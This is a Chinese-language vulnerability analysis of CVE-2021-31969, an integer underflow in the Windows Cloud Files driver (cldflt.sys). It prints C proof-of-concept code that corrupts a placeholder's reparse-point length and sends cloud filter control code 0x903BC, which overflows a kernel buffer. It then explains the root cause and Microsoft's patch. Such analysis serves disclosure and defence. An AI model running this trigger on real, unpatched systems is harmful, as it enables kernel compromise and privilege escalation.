Windows 云同步引擎API整数溢出漏洞（CVE-2021-31969）

随着云存储的普及，各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储，同时也可以在系统上检索到问价。在 Windows 上，这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个 Cloud Filter API 的本机 API。该API实现可在 Cloud Files Mini Filter Driver 或 cldflt.sys 中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息，该漏洞的编号为CVE-2021-31969 / ZDI-21-797，它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。

0x01 Cloud Sync Engines

Windows 中的Cloud Filter API 启用是从 Windows 10 版本的 1709 开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务，它允许本地用户通过 Windows 文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下，文件本身驻留在云端，而在你的本地文件系统上，该文件的表示称为“占位符”。在云中的文件可能很大，但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时，Windows 通过同步使关联的云文件显示出来。

0x02 漏洞利用方法

以下是PoC中关键步骤的描述：

1：首先执行同步注册。然后启动同步提供程序和同步过滤器 API 之间的通信：

WCHAR* dir = (WCHAR*)L"C:\\ProgramData"; 
GUID guid = { 0 }; 
guid.Data1 = 0xB196E670; 
guid.Data2 = 0x59C7; 
guid.Data3 = 0x4D41; 
CF_SYNC_REGISTRATION reg = { 0 }; 
reg.StructSize = sizeof(reg); 
reg.ProviderName = L"test"; 
reg.ProviderVersion = L"1.0"; 
reg.ProviderId = guid; 
CF_SYNC_POLICIES policies = { 0 }; 
policies.StructSize = sizeof(policies); 
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED; 
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL; 
policies.InSync = CF_INSYNC_POLICY_NONE; 
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL; 
HRESULT hr = CfRegisterSyncRoot(dir, &reg, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT); 
if (FAILED(hr)){ 
    printf("CfRegisterSyncRoot failed with %p\n", hr); 
    return 0; 
} 
CF_CALLBACK_REGISTRATION table[2]; 
table[0].Callback = DoTransferCallback; 
table[0].Type = CF_CALLBACK_TYPE_FETCH_DATA; 
table[1].Callback = nullptr; 
table[1].Type = CF_CALLBACK_TYPE_NONE; 
CF_CONNECTION_KEY key; 
hr = CfConnectSyncRoot(dir, table, 0, CF_CONNECT_FLAG_NONE, &key);

2：获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据：

RtlInitUnicodeString(&name, ntDir);     
InitializeObjectAttributes(&oa, &name, 0, 0, 0); 
ret = NtCreateFile(&hF, 0xC0000000, &oa, &isb, 0, 0, 0, 3, 1, 0, 0); 
if (NT_SUCCESS(ret)) 
{ 
    ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_GET_REPARSE_POINT, 0, 0, rb, 0x300); 
    if (NT_SUCCESS(ret)) 
    { 
        // ...             
    } 
}

3：修改检索到的重解析数据，将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位（标签设置为 0x9000301A，即IO_REPARSE_TAG_CLOUD_3）。最后，设置参数以code= 0xC0000003通过cloud filter FSCTL ( 0x903BC)请求占位符更新。

rb[0xa] = 0;//set (USHORT) length to zero 
rb[0x9] = 0xfa; 
rb[0x8] = 0xfa; 
rb[13] = 0x22; 
rbLen += *(UINT16*)(rb + 4); 
rbSet = (char*)malloc(rbLen + setLen); 
memset(rbSet, 0, rbLen + setLen); 
*(UINT32*)(rbSet + 0) = 0; 
*(UINT32*)(rbSet + 4) = 0x9000301A; 
memcpy(rbSet + setLen, rb, rbLen); 
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, FSCTL_SET_REPARSE_POINT_EX, rbSet, setLen + rbLen, 0, 0); 
memset(output, 0, 0x100); 
*(UINT32*)(output + 0) = 0x9000001a; 
*(UINT32*)(output + 4) = 0xC0000003; 
*(UINT32*)(output + 8) = 0x10000; 
ret = NtFsControlFile(hF, 0, 0, 0, &isb2, 0x903BC, output, 0x100, 0, 0);

0x03 内核漏洞

内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量 switch 语句来完成工作，这个函数被命名为HsmFltProcessHSMControl：

图 1 - HsmFltProcessHSMControl 函数

对0xC0000003的操作，最终会调用HsmFltProcessUpdatePlaceholder：

图 2 - 调用 HsmFltProcessUpdatePlaceholder

经过一些处理，执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区，然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改，之后调用HsmpRpiDecompressBuffer：

图 3 - 调用 HsmpRpiDecompressBuffer

在HsmpRpiDecompressBuffer内部，提供的长度（攻击者已设置为零）被检索并增加 8。它保存在局部变量 length 中，然后用于分配内核缓冲区。之后，代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是，它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的 12 个字节，以便为某些元数据腾出空间。相应地，它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中，减法被优化为ADD。在我们的例子中，这个减法产生了一个整数下溢，因此一个巨大的缓冲区长度值 0xFFFFFFF4 被传递给RtlDecompressBuffer，这会导致内核缓冲区溢出。

图 4 - 整数下溢漏洞

0x04 补丁分析

Microsoft 通过添加检查以确保检索到的长度不小于 4 来修复此漏洞，这使得无法触发整数下溢。

图 5 - 来自 Microsoft 的补丁